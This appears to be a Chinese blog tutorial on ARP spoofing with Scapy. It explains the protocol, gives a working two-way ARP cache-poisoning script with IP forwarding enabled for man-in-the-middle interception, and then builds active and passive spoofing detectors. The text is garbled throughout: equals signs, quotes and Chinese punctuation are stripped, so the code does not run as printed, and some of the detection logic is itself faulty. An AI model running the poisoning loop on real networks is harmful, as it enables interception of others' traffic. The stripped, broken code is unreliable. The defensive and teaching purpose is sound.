
先给个结论如果你想快速理解局域网里“明明连着WiFi却突然断网”“同一网段共享文件夹打不开”“别人告诉你IP被占用”这些现象的底层原理顺便自己动手写一个能看的检测小工具那标题里这两个关键词——Scapy和ARP 欺骗就是切入点。我这一篇不搬运网上的现成代码糊弄你而是把整个链路从头到尾拆开先说清楚为什么 ARP 这么好骗然后带你搭环境、跑通一个只用于实验网段的模拟攻击最后把重心放到如何用 Python 实现 IP 欺骗检测也就是“发现有人冒充网关或冒充你在局域网里收发数据”。这个题材稍微有点特殊我先提醒一句所有实验请在你自己搭的虚拟环境、或者拥有完全授权的测试网络里进行。这不是开场白式的说教而是我在实际工作中踩过坑之后的真诚提醒——曾经有人把演示脚本直接丢到公司生产网段跑结果一小时里全网断断续续差点变成事故。工具不分好坏用途才分。1. 从一次“断网”说起ARP 协议的工作机制很多做网络排查的人都有过这种经验包里配置没问题网络图标也正常但网页就是打不开。拿抓包工具一看网关的 MAC 地址变了而且每隔几秒就换一个“主人”。这种情况十有八九就是有人在局域网里玩了 ARP 欺骗。1.1 ARP 缓存表网络邻居的“名片夹”ARPAddress Resolution Protocol地址解析协议干的事情非常单纯在以太网通信里数据包从一台设备到另一台设备靠的是网卡的 MAC 地址48 位物理地址而不是我们平时看的 IP 地址32 位逻辑地址。但应用层和网络层已经习惯了用 IP 说话所以当一个 IP 数据包要发出去的时候主机必须先问一句“这个 IP 对应的 MAC 是谁”这句话就是 ARP 请求以广播形式发出目标 MAC 填成ff:ff:ff:ff:ff:ff意思是“全屋的人都帮我听听”。这个请求到达同网段所有主机后拥有对应 IP 的主机会回复一个 ARP 应答告诉发送方“我就是这个 IP我的 MAC 是 XX:XX:XX:XX:XX:XX”。为了让这句问答的结果能复用每台主机内部都维护了一张 ARP 缓存表可以理解成通讯录/名片夹表里记录着 IP 地址映射到哪个 MAC 地址。有了这张表下次发送数据就不用再广播询问了直接读表发往对应 MAC。Linux 下可以用arp -an查看Windows 下用arp -a。这张表的另一个关键点是它会定时更新。默认老化时间在 Linux 里通常是 60 到 300 秒不等Windows 一般是 30 秒到 120 秒。也就是说缓存不是一成不变的它允许新信息覆盖旧信息。这个“允许更新”的设计是 ARC 协议保持灵活性的前提但也是欺骗能够得手的根源。1.2 欺骗的本质乱发名片现在想象一个场景主机 A 想和网关通信它先查自己的 ARP 缓存表发现已经存了“网关 IP 对应 MAC_G ”。如果这时候有一个恶意主机 M 主动往 A 的网卡里塞了一条 ARP 应答内容是“网关 IP 对应的 MAC 其实是 MAC_M ”广播也好、单播也好只要 A 收到并且愿意接受这条更新A 就会把缓存表里网关的那一条改成 MAC_M。后续 A 发给网关的数据全部会被送往 M。这个操作就叫 ARP 欺骗也叫 ARP 缓存投毒。更复杂一点的场景里攻击者同时欺骗目标主机和网关让两边都以为“对方的 MAC 是我”从而实现中间人可以双向截获流量。标题里的“IP 欺骗检测”其实指的就是这个场景——局域网里有人冒充某个 IP 的身份导致同网段主机的 ARP 缓存出现错乱。我们要做的检测本质就是发现这种 IP 与 MAC 对应关系异常变动并及时告警。注意ARP 协议本身没有认证机制它不验证发送者的身份。就好像名片夹里任何一个人塞给你一张写着“王总电话是 13X”的纸条你都照单全收。这是 ARP 协议设计时代留下来的历史包袱也是后来出现各种安全加固方案的直接原因。2. 环境准备与 Scapy 选型解析动手之前先把工具箱准备好。标题里点名了Scapy这个选择非常正确但我要讲讲为什么它比其他工具更合适以及环境里有哪些必须提前处理的细节。2.1 实验环境搭建要点实验网络建议直接用下面的虚拟结构设备IP 地址MAC 地址用途说明攻击者我们自己的测试机192.168.1.50自己的真实 MAC用于运行 Scapy 脚本目标主机192.168.1.100正常 MAC被观察对象网关/路由器192.168.1.1真实 MAC需要保护的身份如果你手边没有三台实体机器用一台电脑加两台虚拟机也能凑合网络模式选择桥接或者专用的 VMnet 网段。重点是要保证这三者真的在同一个二层广播域内否则 ARP 广播到达不了彼此整个实验就是空转。操作系统我建议直接用 Debian/Ubuntu 或者 Kali 这类 Linux 发行版。原因有两条第一Scapy 在 Linux 上的发包能力最完整收发原始以太网帧几乎没有任何权限阻碍第二开启 IP 转发只需要一条sysctl命令Windows 上做同样的事情还要去改注册表重启系统麻烦得很。用 Windows 做检测脚本那一侧没问题但做攻击模拟这一侧确实不如 Linux 顺手。Python 环境建议 3.8 以上Scapy 就直接用 pip 装pip install scapy装完之后做一个最快速的自检看能不能构造并发送一个普通的 ARP 请求包from scapy.all import ARP, srp ans, unans srp(ARP(pdst192.168.1.1), timeout2, verboseFalse) print(ans.summary())如果能看到类似ARP is at a1:b2:c3:d4:e5:f6的输出说明环境里的抓包和发包链路已经打通。如果报权限错误十有八九是没把用户加到 wireshark 抓包组或者当前用户没有原始套接字的操作权限sudo setcap cap_net_raw,cap_net_admineip /usr/bin/python3或者干脆用sudo跑脚本也可以解决问题只是要注意脚本自身的安全。2.2 为什么选 Scapy 而不是其他库市面上能操作 ARP 包的库或者工具不少但认真看完需求之后你会发现Scapy 在这个细分场景里几乎没有替代品。netifaces和psutil只能拿到网卡接口信息和 MAC 地址它们做不了发包这件事raw_socket可以自己构造 Ethernet 帧然后通过 socket 发送但代码写起来啰嗦而且解析数据包的过程极其痛苦。相比之下Scapy 提供的Ether()/ARP()组合语法非常直白左半部分控制以太网层目标 MAC 和源 MAC右半部分控制 ARP 报文内容。它把数据包结构“翻译”成了 Python 对象的属性写起来几乎就像阅读协议文档。另外 Scapy 内置的sniff()函数可以直接过滤并回调 ARP 包这个能力在写检测脚本的时候几乎是刚需。你不需要再引入 pcap 库或者自己解析二进制流一条sniff(filterarp, prnhandler)就完成了抓包、过滤、处理的全流程。我平时在工作中做过一个粗糙的对比同样写一个“监听 ARP 请求并打印发送方 IP 和 MAC”的脚本用 Scapy 大约需要 15 行代码用纯 socket 加协议解析需要 70 行起步还不算抓包平台兼容性的坑。所以真要说“最新利用 Python 开发包 Scapy 实现”这个选型没有悬念。3. 攻击侧复现看懂原理才能写好防御先声明一次这个实验的目的我在这里展示欺骗的构造方法是为了解释清楚检测策略从哪里来不是为了让你拿它去干扰真实网络。请务必在隔离的实验环境里操作并且只在你有权控制的设备之间进行。3.1 收集节点信息知己知彼构造欺骗报文之前先把三样关键信息拿到手攻击者自己的网卡接口名和 MAC、目标主机 IP 对应的 MAC、网关 IP 对应的 MAC。接口名是 Scapy 发包时必须指定的参数它在 Linux 上通常叫eth0在虚拟机里可能是ens33或者ens160。查看方式用下面的 Python 代码from scapy.all import conf, get_if_list, get_if_hwaddr interface eth0 # 换成你自己的网卡名 my_mac get_if_hwaddr(interface) print(接口:, interface) print(我的 MAC:, my_mac)然后通过发送 ARP 请求来获取目标主机和网关的 MACfrom scapy.all import Ether, ARP, srp, getmacbyip def get_mac(ip): ans, _ srp(Ether(dstff:ff:ff:ff:ff:ff)/ARP(pdstip), timeout2, verboseFalse) if ans: return ans[0][1].hwsrc return None target_ip 192.168.1.100 gateway_ip 192.168.1.1 target_mac get_mac(target_ip) gateway_mac get_mac(gateway_ip) print(目标 MAC:, target_mac) print(网关 MAC:, gateway_mac)这里有个细节getmacbyip()虽然也是 Scapy 自带的函数但它内部调用的方式和srp略有差异我建议统一用srp(Ether(dstff:ff:ff:ff:ff:ff)/ARP(pdstip))这种显式写法。原因是在某些混合网络环境下getmacbyip()会经过本地 ARP 缓存直接返回旧值所以我们无法确定拿到的是“实时结果”还是“缓存结果”。显式广播请求的写法更加符合我们做检测时的预期。3.2 构造两条“假名片”标准的双向 ARP 欺骗需要发两条包第一条发给目标主机告诉它“网关 IP 的 MAC 是我攻击者的 MAC”。这条包在 Scapy 里长这样from scapy.all import Ether, ARP, sendp pkt1 Ether(dsttarget_mac, srcmy_mac) / ARP( op2, # ARP 应答 psrcgateway_ip, # 伪造的源 IP填网关 IP hwsrcmy_mac, # 伪造的源 MAC填攻击者 MAC pdsttarget_ip, # 目标 IP hwdsttarget_mac # 目标 MAC )第二条发给网关告诉它“目标主机的 IP 对应的 MAC 是我攻击者的 MAC”pkt2 Ether(dstgateway_mac, srcmy_mac) / ARP( op2, psrctarget_ip, hwsrcmy_mac, pdstgateway_ip, hwdstgateway_mac )注意op2表示这是一个 ARP 应答包。协议中op1是请求op2是应答。构造欺骗包时必须在应答模式下填好psrc被冒充的 IP和hwsrc攻击者自己的 MAC这样接收方才有可能采纳这条更新。3.3 开启转发与持续发送仅仅发两条包还不够。攻击者的机器如果默认不开启 IP 转发那么被欺骗的目标主机把数据发给“网关”其实是攻击者的 MAC 地址之后攻击者自己的操作系统会直接丢弃这些数据包因为它的路由表认为“这不是给我的包”。于是结果不是中间人而是直接断网。在 Linux 上开启转发只需要sysctl -w net.ipv4.ip_forward1这个命令临时生效重启后恢复。想永久生效可以写入/etc/sysctl.conf自行斟酌。开启转发之后完整攻击模拟脚本大概长这样from scapy.all import Ether, ARP, sendp, get_if_hwaddr import time, sys interface eth0 my_mac get_if_hwaddr(interface) target_ip 192.168.1.100 gateway_ip 192.168.1.1 target_mac get_mac(target_ip) gateway_mac get_mac(gateway_ip) pkt1 Ether(dsttarget_mac, srcmy_mac) / ARP(op2, psrcgateway_ip, hwsrcmy_mac, pdsttarget_ip, hwdsttarget_mac) pkt2 Ether(dstgateway_mac, srcmy_mac) / ARP(op2, psrctarget_ip, hwsrcmy_mac, pdstgateway_ip, hwdstgateway_mac) print([*] 开始发送 ARP 欺骗包按 CtrlC 停止) try: while True: sendp(pkt1, ifaceinterface, verboseFalse) sendp(pkt2, ifaceinterface, verboseFalse) time.sleep(1) except KeyboardInterrupt: print([*] 已停止建议马上恢复目标 ARP 表)关于发包频率我试过 0.5 秒一次和 2 秒一次实际效果差异不大因为 ARP 缓存正常情况下不会立刻老化1 秒一次已经足以让目标主机不断刷新并保持错误映射。发得太快反而容易让本机软中断占用偏高没有必要。实验结束之后一定要恢复方法很简单用真实网关和真实目标的 MAC 重新向对方各发一条正常的应答包对方的 ARP 缓存就会改正过来。如果你们在虚拟环境里玩直接重置虚拟机网络也是一种粗暴但有效的恢复方式。4. 防御侧落地用 Python 实现 IP 欺骗检测攻击侧的代码搞明白了防御侧的思路也就跟着清晰了。既然攻击者做的事情是“冒充 IP”那我们的检测核心就一句话持续追踪 IP 与 MAC 的对应关系发现异常就报警。目前主流的检测思路分两种我把它们的原理、代码、优劣全部整理出来你可以根据自己网络的规模选择。4.1 检测思路一主动请求与缓存基线比对第一种思路最直观我们周期性主动去问每一个受保护 IP “你的 MAC 是谁”然后把结果和一份预先记录的白名单进行比对。一旦发现某个 IP 对应的 MAC 变了立刻判定异常。这种方法的优点在于实现简单、结果明确非常适合小规模的局域网比如家庭网络、小型办公室。缺点也明显主动扫描本身会产生额外的网络流量扫描频率太高会影响正常网络性能频率太低又可能漏掉短暂的攻击窗口。基线数据可以通过反复多次探测后取“稳定值”来建立。真实场景里一份局域网资产的 IP-MAC 绑定表往往来自交换机 DHCP 监听或者后台网管系统我们直接导入即可import csv from scapy.all import Ether, ARP, srp # 基线表来源于 DHCP 绑定或人工登记 baseline { 192.168.1.1: aa:bb:cc:dd:ee:01, 192.168.1.100: aa:bb:cc:dd:ee:64, } def query_mac(ip): ans, _ srp(Ether(dstff:ff:ff:ff:ff:ff)/ARP(pdstip), timeout2, verboseFalse) if ans: return ans[0][1].hwsrc.lower() return None def check_baseline(): for ip, mac in baseline.items(): real_mac query_mac(ip) if real_mac is None: print(f[!] {ip} 无响应可能主机未开机或已被隔离) elif real_mac ! mac.lower(): print(f[ALERT] IP 欺骗/异常变更: {ip} 期望 MAC{mac} 实际 MAC{real_mac}) while True: check_baseline() time.sleep(30)在循环里每 30 秒跑一次对于防御一般的攻击演示场景完全够用。如果想提升灵敏度可以把扫描间隔压到 5 秒但要注意扫描期间srp发出的广播包会带来额外的 CPU 开销和网络占用务必在真实网络环境里先做小流量测试。4.2 检测思路二被动监听 ARP 响应流第二种思路更优雅使用 Scapy 的sniff()函数被动监听局域网内所有的 ARP 应答包实时提取每个 IP 上报的 MAC 地址与内存中维护的映射表做对比。谁如果发出一个“来自同一 IP但 MAC 变了”的应答就说明有人在试图乱发名片。被动监听不产生额外流量对网络性能的影响几乎为零而且可以捕捉到短暂的攻击行为不像主动探测那样受限于扫描间隔。缺点是需要保证监听主机能够收到局域网内的 ARP 广播这要求网卡开启混杂模式。Scapy 开启混杂模式非常简单在sniff()里指定prn回调并把网卡放到混杂模式即可。核心代码如下from scapy.all import sniff, ARP from collections import defaultdict import time # 记录 IP 对应最近 MAC 的表 mac_seen defaultdict(set) # 变更记录防止反复输出同一个 IP 的告警 alarm_status {} def handle_arp(pkt): if ARP not in pkt: return # 只关心应答包 if pkt[ARP].op ! 2: return ip pkt[ARP].psrc mac pkt[ARP].hwsrc.lower() src_hw pkt.src.lower() # 第一条把来源 MAC 与包内 MAC 做一致性校验 if src_hw ! mac: print(f[ALERT] 以太网源 MAC 与 ARP 载荷 MAC 不一致: {src_hw} vs {mac}) return # 第二条维护 IP-MAC 历史记录 if mac not in mac_seen[ip]: mac_seen[ip].add(mac) print(f[INFO] {ip} 首次出现 MAC{mac}) elif len(mac_seen[ip]) 1: # 同一个 IP 曾经记录过不同 MAC触发告警 if ip not in alarm_status or alarm_status[ip] ! mac: alarm_status[ip] mac print(f[ALERT] 同一 IP 出现多个 MAC: {ip} 当前 MAC{mac} 历史{mac_seen[ip]}) sniff(filterarp, prnhandle_arp, storeFalse, ifaceeth0)这里有两个细节值得展开说一下。第一个细节是“源 MAC 与载荷 MAC 一致性校验”。正常情况下以太网帧头里的源 MAC 字段应该和 ARP 载荷里的hwsrc一致因为发包主机不应该伪造底层地址。但攻击脚本为了方便往往会直接让srcmy_mac同时又把hwsrcmy_mac两者一致所以骗不过这一层。不过更高级的攻击工具可以把两者故意设成不一致这时候这条校验就能派上用场。第二个细节是历史记录集合。我用defaultdict(set)把同一个 IP 的所有历史 MAC 都保存下来只要某个 IP 出现过的 MAC 数量大于 1就说明网络里存在 IP 与 MAC 绑定漂移。这在中小型局域网里是强烈的欺骗嫌疑信号。真正常见情况下的 IP-MAC 绑定短期不会改动除非有人手动修改网卡地址或者某些网卡的“随机 MAC”功能在作怪。4.3 检测脚本完整实现与告警输出把主动和被动两种思路的优点合并起来可以搭一个比较完整的检测工具定期主动扫描一遍网内 IP-MAC 基线同时后台持续监听 ARP 应答用于捕捉中间窗口期的动态变化。告警部分除了控制台打印外还可以输出到 CSV 文件或者通过 HTTP 调用企业的消息推送接口这个按需扩展。我这里给一个整合版的示例框架作为你们写项目时的起点from scapy.all import Ether, ARP, srp, sniff, get_if_hwaddr from collections import defaultdict from datetime import datetime import threading, time, csv BASELINE_FILE ip_mac_baseline.csv ALARM_FILE arp_alarm.csv baseline {} def load_baseline(): global baseline try: with open(BASELINE_FILE, newline, encodingutf-8) as f: reader csv.reader(f) baseline {row[0]: row[1].lower() for row in reader if len(row) 2} except FileNotFoundError: baseline {} def save_alarm(ip, expect_mac, actual_mac, reason): with open(ALARM_FILE, a, newline, encodingutf-8) as f: writer csv.writer(f) writer.writerow([datetime.now().isoformat(), ip, expect_mac, actual_mac, reason]) print(f[ALERT] {ip} 异常: {reason}) def query_mac(ip): ans, _ srp(Ether(dstff:ff:ff:ff:ff:ff)/ARP(pdstip), timeout1, verboseFalse) if ans: return ans[0][1].hwsrc.lower() return None def active_scan(): while True: for ip, expect_mac in list(baseline.items()): real_mac query_mac(ip) if real_mac and real_mac ! expect_mac: save_alarm(ip, expect_mac, real_mac, 主动扫描发现 MAC 与基线不符) # 不要扫太快注意网络负载 time.sleep(1) time.sleep(20) mac_seen defaultdict(set) def passive_monitor(pkt): if ARP not in pkt or pkt[ARP].op ! 2: return ip pkt[ARP].psrc mac pkt[ARP].hwsrc.lower() if mac not in mac_seen[ip]: mac_seen[ip].add(mac) if len(mac_seen[ip]) 1: save_alarm(ip, ,.join(sorted(baseline.get(ip, ))), mac, 被动监听发现 IP 出现新 MAC) def passive_sniff(): sniff(filterarp, prnpassive_monitor, storeFalse, ifaceeth0) if __name__ __main__: load_baseline() t1 threading.Thread(targetactive_scan, daemonTrue) t2 threading.Thread(targetpassive_sniff, daemonTrue) t1.start() t2.start() print([*] 检测已启动按 CtrlC 退出) try: while True: time.sleep(5) except KeyboardInterrupt: print([*] 已退出)这段代码可以直接作为项目骨架运行。基线文件用两列 CSV 保存第一列 IP第二列 MAC我在实际测试中填入三行设备就能跑得很稳。告警记录会持续追加到arp_alarm.csv方便复盘。提示被动监听脚本所在的主机必须能收到同网段的 ARP 广播帧。如果用的是 Wi-Fi 网络部分网卡驱动会自动过滤掉不是发给自己的帧这属于硬件层的限制不全是软件的事。这种情况下优先依赖主动扫描。5. 常见问题与排查技巧实录写程序是一回事到真实环境里跑一遍又是另一回事。下面这些问题是初学者在这类项目里最常撞上的我按现象、原因、解决办法的方式整理成一张速查表。现象大概率原因排查与解决攻击脚本发包无效果目标主机 ARP 表是静态条目先执行arp -s 网关IP 网关MAC恢复或删除静态条目再测试发包报Permission denied当前用户缺少原始套接字权限用sudo运行或者对 Python 解释器设置setcap cap_net_raw,cap_net_adminsendp一直发但 Wireshark 看不到发到了错误网卡检查iface参数是否与真实接口名一致用ifconfig或ip link核对检测脚本只打印首次信息不抓变化storeFalse问题不大通常是网卡混杂模式未开启手动把监听网卡设为混杂模式或调用conf.promisc True主动扫描漏报目标主机防火墙丢弃了 ARP 探测一般不会但可能在防 ARP 攻击的主机上被拦截改用被动监听模式两边配合同一个 IP 频繁报警手机或者笔记本开启了“随机硬件地址”功能这是正常的隐私功能建议在基线表里标记为动态设备或直接忽略5.1 发出去的包没效果先怀疑缓存我第一次做完整测试的时候脚本一直在跑抓包工具里也看得到 ARP 响应发往目标但目标主机就是不为所动。最后在目标机器上执行arp -a才发现之前做过的某个实验给这个 IP 绑了静态 ARP 条目。静态条目优先级高于动态条目你可以给它发送任意多的欺骗包它都拒不接收。遇到这种情况先清理静态条目再继续。5.2 检测脚本漏报误报考虑缓存机制主动扫描脚本在比较 MAC 时其实是在和目标主机的 ARP 缓存打交道而缓存有老化时间所以如果攻击者只是短暂地发了 5 秒欺骗报文就停了主动扫描大概率捕捉不到。这也是我把被动监听线程加进去的原因。单纯依靠一种检测手段在一个 100 台设备的真实局域网里一定会漏。5.3 静态 ARP 与交换机安全策略带来的干扰还有一部分高级交换机支持“动态 ARP 检测”DAI功能它会强制检查 ARP 报文里 IP 和 MAC 的绑定关系是否与 DHCP snooping 表一致。如果你们公司网络开了这个功能那不管攻击脚本怎么写都不会生效。作为检测脚本识别这种环境时最大的干扰点在于合法设备如果在短时间内更换了 MAC比如员工把网线从笔记本的 USB 网卡换到了笔记本自带网口就会触发告警。这种属于正常变更并不是攻击。建议在告警逻辑里增加“变更窗口平滑”处理比如连续 3 次探测结果一致再确认告警能显著降低误报率。5.4 一点心得与边界提醒在我实际接触过的项目里把 ARP 欺骗检测工具做成一个持续运行的守护进程并不难难的是如何权衡误报率和覆盖率。家庭网络里设备相对固定一份静态白名单非常好用办公网络里各种手机、临时访客、智能设备层出不穷白名单维护成本很高这时候被动监听 行为分析反而更实用。我个人在调试这类脚本时的标准流程是先关闭所有无关服务在虚拟网络里跑通攻击演示并确认目标主机的 ARP 缓存确实发生了改变再关掉攻击脚本启动检测脚本等它输出“正常监控”信息最后重新启动攻击脚本观察检测脚本能否在 10 秒内输出[ALERT]。两次都成功这工具才算勉强可以打 60 分。最后再强调一遍边界ARP 欺骗这个技术在网络安全测试、故障复现、协议教学里都有它的价值但它也是一把很危险的刀。写检测脚本的人如果连攻击原理都讲不清楚写出来的防御策略大概率也是空壳。这篇文章从攻击侧讲到防御侧目的就是让你把这条技术链路完整地走通一遍。做实验请留在自己的领地别动别人家的网络这是底线也是写在职业操守里的内容。